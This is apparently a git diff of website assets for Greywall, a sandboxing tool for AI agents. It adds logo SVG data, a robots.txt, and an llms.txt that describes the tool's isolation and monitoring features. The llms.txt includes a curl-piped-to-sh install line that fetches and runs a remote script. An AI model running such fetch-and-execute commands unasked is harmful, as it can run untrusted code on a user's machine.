<path d="M201.337 36.1084L207.103 35.2334C208.396 35.0487 208.765 34.4021 208.765 33.6195C208.765 31.7285 207.472 30.207 204.521 30.207C201.571 30.207 200.137 32.0056 199.908 34.266L195.018 33.1577C195.431 29.2834 198.941 25.8223 204.478 25.8223C211.4 25.8223 214.03 29.7452 214.03 34.2174V45.3834C214.03 47.4153 214.263 48.7521 214.307 48.9806H209.324C209.28 48.8396 209.096 47.9209 209.096 46.1174C208.036 47.8237 205.819 49.6709 202.174 49.6709C197.468 49.6709 194.561 46.4431 194.561 42.8896C194.561 38.8744 197.512 36.6625 201.342 36.1084H201.337ZM208.765 39.6618V38.6459L202.908 39.5209C201.245 39.798 199.908 40.7216 199.908 42.5688C199.908 44.0903 201.06 45.4757 203.185 45.4757C206.184 45.4757 208.765 44.0466 208.765 39.6618Z" fill="#161614"/>
|
||||
<path d="M228.988 48.9805H223.635L214.501 26.5125H220.408L226.358 42.5687L232.172 26.5125H237.801L228.988 48.9805Z" fill="#161614"/>
|
||||
<path d="M259.856 42.5688C258.655 46.4917 255.101 49.6757 249.706 49.6757C243.615 49.6757 238.219 45.2473 238.219 37.6348C238.219 30.5278 243.478 25.8223 249.151 25.8223C256.074 25.8223 260.133 30.3917 260.133 37.4938C260.133 38.3688 260.04 39.1077 259.992 39.2H243.566C243.702 42.6125 246.381 45.0577 249.701 45.0577C253.021 45.0577 254.591 43.3514 255.33 41.1348L259.851 42.5639L259.856 42.5688ZM254.732 35.2771C254.64 32.6473 252.885 30.2945 249.195 30.2945C245.826 30.2945 243.892 32.8757 243.707 35.2771H254.732Z" fill="#161614"/>
|
||||
<path d="M269.393 48.9806H264.041V26.5125H269.257V29.5118C270.735 26.9306 273.408 25.866 275.902 25.866C281.39 25.866 284.02 29.8326 284.02 34.7715V48.9806H278.668V35.6903C278.668 32.9194 277.424 30.7076 274.055 30.7076C271.012 30.7076 269.393 33.0604 269.393 36.0111V48.9757V48.9806Z" fill="#161614"/>
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</g>
|
||||
<defs>
|
||||
<clipPath id="clip0_0_17">
|
||||
<rect width="284.02" height="70" fill="white"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.2 KiB |
9
public/greyhaven-mainbg.svg
Normal file
|
After Width: | Height: | Size: 1.3 MiB |
3
public/greyhaven-mark.svg
Normal file
@@ -0,0 +1,3 @@
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.6 KiB |
BIN
public/greywall-logo.png
Normal file
|
After Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 585 B After Width: | Height: | Size: 850 B |
|
Before Width: | Height: | Size: 566 B After Width: | Height: | Size: 850 B |
@@ -1,24 +1,3 @@
|
||||
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<!-- Shield shape -->
|
||||
<path
|
||||
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
|
||||
fill="#D95E2A"
|
||||
/>
|
||||
<!-- Inner geometric pattern -->
|
||||
<path
|
||||
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
|
||||
fill="#161614"
|
||||
/>
|
||||
<!-- Data nodes -->
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<!-- Connection lines -->
|
||||
<path
|
||||
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
|
||||
stroke="#D95E2A"
|
||||
stroke-width="1"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 756 B After Width: | Height: | Size: 1.6 KiB |
30
public/llms.txt
Normal file
@@ -0,0 +1,30 @@
|
||||
# Greywall
|
||||
|
||||
> Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Default-deny policy means nothing is accessible unless explicitly granted. Built by Greyhaven, licensed Apache 2.0.
|
||||
|
||||
## Key Features
|
||||
- Filesystem isolation (kernel-enforced read/write/deny per path)
|
||||
- Network isolation (all traffic routed through GreyProxy)
|
||||
- Command blocking (detects blocked commands in pipes, chains, nested shells)
|
||||
- Real-time violation monitoring (every denial captured with full context)
|
||||
- Learning mode (auto-generates least-privilege templates from observed access)
|
||||
- Syscall filtering (blocks 27+ dangerous system calls via Seccomp BPF)
|
||||
- Dynamic allow/deny controls (adjust policies live without restarting)
|
||||
|
||||
## Links
|
||||
- [Homepage](https://greywall.io)
|
||||
- [Documentation](https://docs.greywall.io/)
|
||||
- [GitHub](https://github.com/GreyhavenHQ/greywall)
|
||||
- [Greyhaven (parent company)](https://greyhaven.co)
|
||||
|
||||
## Install
|
||||
- Homebrew: `brew tap greyhavenhq/tap && brew install greywall`
|
||||
- Curl: `curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh`
|
||||
- Go: `go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest`
|
||||
|
||||
## Compatibility
|
||||
Works with: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot.
|
||||
Platforms: Linux (3.8+), macOS.
|
||||
License: Apache 2.0.
|
||||
BIN
public/og-image.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
BIN
public/pending_requests.png
Normal file
|
After Width: | Height: | Size: 320 KiB |
26
public/robots.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Disallow: /api/
|
||||
|
||||
User-agent: GPTBot
|
||||
Allow: /
|
||||
|
||||
User-agent: OAI-SearchBot
|
||||
Allow: /
|
||||
|
||||
User-agent: ClaudeBot
|
||||
Allow: /
|
||||
|
||||
User-agent: PerplexityBot
|
||||
Allow: /
|
||||
|
||||
User-agent: CCBot
|
||||
Disallow: /
|
||||
|
||||
User-agent: anthropic-ai
|
||||
Disallow: /
|
||||
|
||||
User-agent: cohere-ai
|
||||
Disallow: /
|
||||
|
||||
Sitemap: https://greywall.io/sitemap.xml
|
||||
BIN
public/rules.png
Normal file
|
After Width: | Height: | Size: 323 KiB |
|
Before Width: | Height: | Size: 203 KiB |